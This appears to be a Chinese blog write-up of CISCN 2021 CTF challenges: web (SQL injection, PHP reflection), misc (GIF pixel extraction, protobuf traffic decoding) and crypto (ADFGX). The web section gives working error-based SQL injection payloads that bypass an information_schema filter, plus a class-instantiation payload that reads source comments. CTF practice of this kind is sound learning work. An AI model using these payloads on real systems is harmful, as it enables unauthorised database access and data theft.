CISCN2021赛后复现

Web

esay_sql

输入单引号报错

1
2
3
uname=admin&passwd=123456'&Submit=%E7%99%BB%E5%BD%95

#You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123456'') LIMIT 0,1' at line 1

image-20210515182436750
sqlmap跑了一下,可以使用报错注入

1.爆库名

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,database(),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#XPATH syntax error: '~security~'

2.爆表名

猜测表名为flag

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,(select * from flag),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#Operand should contain 1 column(s)

3.爆列名

过滤了information_schema函数,可以使用join 无列名注入

得到id列

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag )b),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#Duplicate column name 'id'

得到no列

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,(select * from (select * from flag join flag as a using(id))b),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#Duplicate column name 'no'

得到ea1235fa-d397-474b-8188-dedbe352ffc7列

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,(select * from (select * from flag join flag as a using(id,no))b),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#Duplicate column name 'ea1235fa-d397-474b-8188-dedbe352ffc7'

4.爆值

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,(select `ea1235fa-d397-474b-8188-dedbe352ffc7` from flag),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#XPATH syntax error: '~CISCN{tJ1mc-jgoXW-qiG07-oHt4u-s

因为报错注入限制只能读取一半flag,用right读取右半部分

1
2
3
uname=admin&passwd=123456')and extractvalue(1,concat(0x7e,right((select `ea1235fa-d397-474b-8188-dedbe352ffc7` from flag),20),0x7e))--+&Submit=%E7%99%BB%E5%BD%95

#XPATH syntax error: '~-qiG07-oHt4u-shqSb-}~'

image-20210515184620854
消去重复部分,最终flag为

1
CISCN{tJ1mc-jgoXW-qiG07-oHt4u-shqSb-}

easy_source

一道原题,参考wp复现的
题目描述:你知道开发一个php程序很重要的东西是什么吗(flag在你看不到的地方)

最重要的就是备份,访问.index.php.swo得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;

function a()
{
return ++self::$c;
}

function b()
{
return ++self::$c;
}

function c()
{
return ++self::$c;
}

function d()
{
return ++self::$c;
}

function e()
{
return ++self::$c;
}

function f()
{
return ++self::$c;
}

function g()
{
return ++self::$c;
}

function h()
{
return ++self::$c;
}

function i()
{
return ++self::$c;
}

function j()
{
return ++self::$c;
}

function k()
{
return ++self::$c;
}

function l()
{
return ++self::$c;
}

function m()
{
return ++self::$c;
}

function n()
{
return ++self::$c;
}

function o()
{
return ++self::$c;
}

function p()
{
return ++self::$c;
}

function q()
{
return ++self::$c;
}

function r()
{
return ++self::$c;
}

function s()
{
return ++self::$c;
}

function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

根据提示,本题就这一个文件,而且提示看到的不完全,猜测 flag被注释了,而且在类中被注释了。

需要GET提交四个参数,可以实例化任意类,并调用类方法。利用 PHP内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释

本地测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class User
{
private static $c = 0;
//pubLic $b = 100;
function a()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access publicCISCN{test}
* @return int
*/
function b()
{
return ++self::$c;
}
}
$d = new ReflectionMethod('User', 'b');
var_dump($d->getDocComment());

运行结果如下:
在这里插入图片描述
源码中有26个函数,flag在某个函数的注释中,构造Payload

1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

抓包,爆破rb参数的值,从a-z开始爆破,最终在q的注释中找到flag
在这里插入图片描述

MISC

running_pixel

使用脚本进行gif分帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
import os
from PIL import Image
file_name = 'running_pixel.gif'
# 使用Image模块的open()方法打开gif动态图像时,默认是第一帧
im = Image.open(file_name)
# 定义存储图片的文件名与读取的GIF图片名一致
file_save = file_name[:-4]
# 在同级目录下创建存放每帧图片的文件夹
# 创建一级目录:os.mkdir('D:\\gif1') 创建多级目录:os.makedirs('D:\\gif1\\gif1')
os.mkdir(file_save)
try:
while True:
# 保存当前帧图片
# 获取当前文件的位置(GIF图的帧数)
frame_number= im.tell()
# 保存图片,格式为png
im.save(file_save+'/'+str(frame_number)+'.png')
# 获取下一帧图片
im.seek(frame_number+1)
except EOFError:
pass
print("共:", frame_number, "张图片")

参考末初师傅的wp

PS打开打开几张图片查看,有可疑白点,像素块为RGB: (233,233,233),其他图片中也发现了这个像素块
在这里插入图片描述
提取382张图片的像素块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from PIL import Image

flag_img = Image.new('1',(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(0,381):
framepic = Image.open(f"./running_pixel/{name}.png")
framepic = framepic.convert("RGB")
width,height = framepic.size
for w in range(width):
for h in range(height):
if framepic.getpixel((w,h)) == (233,233,233):
flag_img.putpixel((h,w),1)

flag_img.save(f"flag_{name}.png")

最后一张图
在这里插入图片描述
根据字符出现顺序得到:12504D0F-9DE1-4B00-87A5-A5FDD0986A00
最终flag为

1
CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

tiny traffic

流量包拖入wirkshark中,导出http对象,发现了两个gzip和两个br文件
在这里插入图片描述
解压flag_wrapper得到…
在这里插入图片描述
把test后缀改为br,解压得到test:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
syntax = "proto3";

message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}

message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}

下载解压后进入到bin目录,将之前解压出来的test改为test.proto并移动到bin目录

1
.\protoc.exe --python_out=. test.proto

得到test_pb2.py,把解压后的secret也移动到bin目录
在这里插入图片描述
反序列化

1
2
3
4
5
6
7
import test_pb2

with open('./secret','rb') as f:
data = f.read()
target = test_pb2.PBResponse()
target.ParseFromString(data)
print(target)

运行脚本得到

1
2
3
4
5
6
7
8
9
10
11
12
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

把15100450和16453958转换为hex,和其他hex按顺序拼接得到最终flag

1
CISCN{e66a22e23457889b0fb1146d172a38dc}

CRYPTO

classic

附件内容

1
AXAXDFDXXAFADFGFXAADFGDXGFDXFFDFAXDXFFFFXGXGAAXAGAFDDXFFDXFFDXDXDXDXGFDFAXFXAADXAAGAXGDGXAXAFAXXFFXADFFGAADXDXAXDFDFDXXAXXDXDAAAAAFAXAAAFGGAFGFGXADXXADFGADXDFDFGAGFDGAXFGAXDGDADXFFFFDAGFADXGDX

ADFGX密码,用最经典的密码表phqgmeaynofdxkrcvszwbutil,key为题目名字classic,最可气的是解密时需要将附件中的内容反转得到密文:

1
2
3
4
str="AXAXDFDXXAFADFGFXAADFGDXGFDXFFDFAXDXFFFFXGXGAAXAGAFDDXFFDXFFDXDXDXDXGFDFAXFXAADXAAGAXGDGXAXAFAXXFFXADFFGAADXDXAXDFDFDXXAXXDXDAAAAAFAXAAAFGGAFGFGXADXXADFGADXDFDFGAGFDGAXFGAXDGDADXFFFFDAGFADXGDX"
print(str[::-1])

#XDGXDAFGADFFFFXDADGDXAGFXAGDFGAGFDFDXDAGFDAXXDAXGFGFAGGFAAAXAFAAAAADXDXXAXXDFDFDXAXDXDAAGFFDAXFFXXAFAXAXGDGXAGAAXDAAXFXAFDFGXDXDXDXDFFXDFFXDDFAGAXAAGXGXFFFFXDXAFDFFXDFGXDGFDAAXFGFDAFAXXDFDXAXA

然后再解密得到flag,大意了
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!